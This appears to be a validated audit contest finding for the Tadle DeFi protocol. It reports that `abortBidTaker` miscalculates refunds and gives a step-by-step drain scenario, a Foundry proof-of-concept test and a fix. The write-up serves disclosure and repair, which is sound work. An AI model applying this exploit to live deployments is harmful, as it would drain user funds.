Tadle

Tadle
DeFiFoundry
27,750 USDC
View results
Submission Details
Severity: high
Valid

[H-3] The function `PreMarkets::abortBidTaker` incorrectly calculates the refund amount, allowing a malicious actor to abuse this function to drain all the funds in the protocol

Summary

The current implementation of the refund mechanism in the PreMarkets::abortBidTaker function allows a malicious actor to drain the collateral pool by manipulating points and aborting offers. The issue arises because the refund is incorrectly calculated as (remaining points * total points) / amount instead of (remaining points * amount) / total points. This allows an attacker to exploit the system by creating offers with a higher absolute value of points compared to the amount, buying a small fraction of the order with another account, and then aborting the offer to receive an inflated refund.

Vulnerability Details

When an offer is aborted using PreMarkets::abortBidTaker, the refund to buyers is calculated as (remaining points * total points) / amount instead of (remaining points * amount) / total points:

uint256 depositAmount = stockInfo.points.mulDiv(
@> preOfferInfo.points,
@> preOfferInfo.amount,
Math.Rounding.Floor
);

This discrepancy allows a malicious actor to exploit the system by:

  1. Creating an offer where the absolute value of points is higher than the absolute value of the amount, so that it is advantageous to multiply by points and divide by amount, vs the opposite.

  2. Using another account to buy a small fraction of the offer.

  3. Aborting the offer with both accounts, causing the system to calculate an inflated refund using the incorrect formula.

  4. The attacker receives a refund that is larger than the amount originally paid, draining the protocol funds.

Impact

This vulnerability can lead to the protocol's funds being completely drained. By creating offers with a high points-to-amount ratio and then aborting them after a small purchase by a secondary account, an attacker can receive refunds that exceed their initial payments, effectively stealing funds from the protocol.

The following test case, which can be included in the PreMarkets.t.sol, demonstrates the exploit:

Proof Of Code
function testStealCollateralPoolWithAbortBidTaker() public {
address thiefMaker = vm.addr(777); // user created to create offer and abort
address thiefTaker = vm.addr(778); // user created to take offer and abort
// setup of the exploit demonstration
uint256 STARTING_BALANCE = 100e18;
uint256 POINTS_AMOUNT = 1e19; // points amount must be higher than token amount
uint256 POINTS_AMOUNT_THIEF = 0.01e19;
uint256 TOKEN_AMOUNT = 1e18;
uint256 COLLATERAL_RATE = 12_000;
uint256 EACH_TRADE_TAX = 1_000;
deal(address(mockUSDCToken), thiefMaker, STARTING_BALANCE);
deal(address(mockUSDCToken), thiefTaker, STARTING_BALANCE);
vm.prank(thiefMaker);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.prank(thiefTaker);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.prank(address(capitalPool));
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
// creation of the original offer
vm.prank(thiefMaker);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
POINTS_AMOUNT,
TOKEN_AMOUNT,
COLLATERAL_RATE,
EACH_TRADE_TAX,
OfferType.Ask,
OfferSettleType.Protected
)
);
address offer0Addr = GenerateAddress.generateOfferAddress(0);
address stock0Addr = GenerateAddress.generateStockAddress(0);
address stock1Addr = GenerateAddress.generateStockAddress(1);
// thiefTaker takes the offer
vm.prank(thiefTaker);
preMarktes.createTaker(offer0Addr, POINTS_AMOUNT_THIEF);
// thiefMaker aborts the offer
vm.prank(thiefMaker);
preMarktes.abortAskOffer(stock0Addr, offer0Addr);
// thiefTaker aborts the offer and withdraws the funds
vm.startPrank(thiefTaker);
preMarktes.abortBidTaker(stock1Addr, offer0Addr);
uint256 thiefBalanceBefore = mockUSDCToken.balanceOf(thiefTaker);
tokenManager.withdraw(
address(mockUSDCToken),
TokenBalanceType.MakerRefund
);
uint256 thiefBalanceAfter = mockUSDCToken.balanceOf(thiefTaker);
vm.stopPrank();
// the amount thiefTaker should receive as refund should be proportional to their share of tokens in the original offer
uint256 expectedRefund = POINTS_AMOUNT_THIEF.mulDiv(
TOKEN_AMOUNT,
POINTS_AMOUNT
);
uint256 refundReceived = thiefBalanceAfter - thiefBalanceBefore;
assert(refundReceived > expectedRefund);
}

Tools Used

Manual code review.

Recommendations

Adjust depositAmount formula on PreMarkets::abortBidTaker:

uint256 depositAmount = stockInfo.points.mulDiv(
- preOfferInfo.points,
preOfferInfo.amount,
+ preOfferInfo.points,
Math.Rounding.Floor
);
Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-abortBidTaker-amount-wrong-StockInfo-points

Valid high severity, due to incorrect computation of `depositAmount` within `abortBidTaker`, when aborting bid offers created by takers, the collateral refund will be completely wrong for the taker, and depending on the difference between the value of `points` and `amount`, it can possibly even round down to zero, causing definite loss of funds. If not, if points were worth less than the collateral, this could instead be used to drain the CapitalPool contract instead.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.